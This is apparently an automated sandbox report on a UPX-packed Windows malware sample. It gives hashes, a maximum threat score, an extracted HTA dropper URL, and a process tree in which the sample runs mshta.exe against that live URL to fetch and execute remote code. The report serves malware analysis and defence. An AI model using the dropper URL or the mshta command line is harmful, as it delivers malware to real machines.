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Analysis

  • max time kernel
    0s
  • max time network
    3s
  • platform
    windows7_x64
  • resource
    win7-20231129-en
  • resource tags

    arch:x64arch:x86image:win7-20231129-enlocale:en-usos:windows7-x64system
  • submitted
    30/12/2023, 01:04

Errors

Reason
Machine shutdown

General

  • Target

    09747a8d9002635babfe1a538385d1fc.exe

  • Size

    612KB

  • MD5

    09747a8d9002635babfe1a538385d1fc

  • SHA1

    4033e660f17bb41e5a734586c9d789527972bb98

  • SHA256

    27078ce70900f2529b4967b367bd36fcee864be11d0f2611120c62bbaa457f42

  • SHA512

    920b32f4651b3b6717b8ef57061b3791195256c29b77be91456a8e4a7cc8c9f69b3f921fc40cb8e46e3944273c8c1d3819a85c85604ae3eff061dd9e384923d8

  • SSDEEP

    12288:YCJkcpXVUzHbGqt3qmeVosZD9EE4+gkWmOSy4OVsXCOOE:3ktHdbeVFF9sFmEomE

Score
10/10
upx

Malware Config

Extracted

Language
hta
Source
URLs
hta.dropper

http://repatoptop.com/inst.php?id=skytraf01

Signatures

  • UPX packed file 2 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

Processes

  • C:\Users\Admin\AppData\Local\Temp\09747a8d9002635babfe1a538385d1fc.exe
    "C:\Users\Admin\AppData\Local\Temp\09747a8d9002635babfe1a538385d1fc.exe"
    1⤵
      PID:2548
      • C:\Windows\SysWOW64\cmd.exe
        cmd /c ""C:\Users\Admin\AppData\Roaming\jkdhk.bat" "
        2⤵
          PID:2060
        • C:\Windows\SysWOW64\mshta.exe
          "C:\Windows\System32\mshta.exe" http://repatoptop.com/inst.php?id=skytraf01
          2⤵
            PID:2972
        • C:\Windows\system32\LogonUI.exe
          "LogonUI.exe" /flags:0x0
          1⤵
            PID:2684

          Network

          MITRE ATT&CK Matrix

          Replay Monitor

          Loading Replay Monitor...

          Downloads

          • C:\Users\Admin\AppData\Roaming\jkdhk.bat

            Filesize

            232B

            MD5

            55ebfb77114b36ae8e97921429b5edfa

            SHA1

            06396172fa95c43e27e60b01a7e3bf96882e018c

            SHA256

            237c5fc09faef79a6567f7ce2c3ccb640e263b7d08866630050caeb03fddc2c8

            SHA512

            615fa6a4601868fe7af0a81e589ecbbe953857674d202a319a25a0cbd12014a8131fc8c836efd4a25cc0407857ddbfdd8e736026a651094cfcbaea62fbdbfa18

          • memory/2548-0-0x0000000000400000-0x00000000006BF000-memory.dmp

            Filesize

            2.7MB

          • memory/2548-1-0x00000000002C0000-0x00000000002C1000-memory.dmp

            Filesize

            4KB

          • memory/2548-2-0x0000000003E80000-0x0000000003E90000-memory.dmp

            Filesize

            64KB

          • memory/2548-14-0x0000000000400000-0x00000000006BF000-memory.dmp

            Filesize

            2.7MB

          • memory/2684-13-0x0000000002F90000-0x0000000002F91000-memory.dmp

            Filesize

            4KB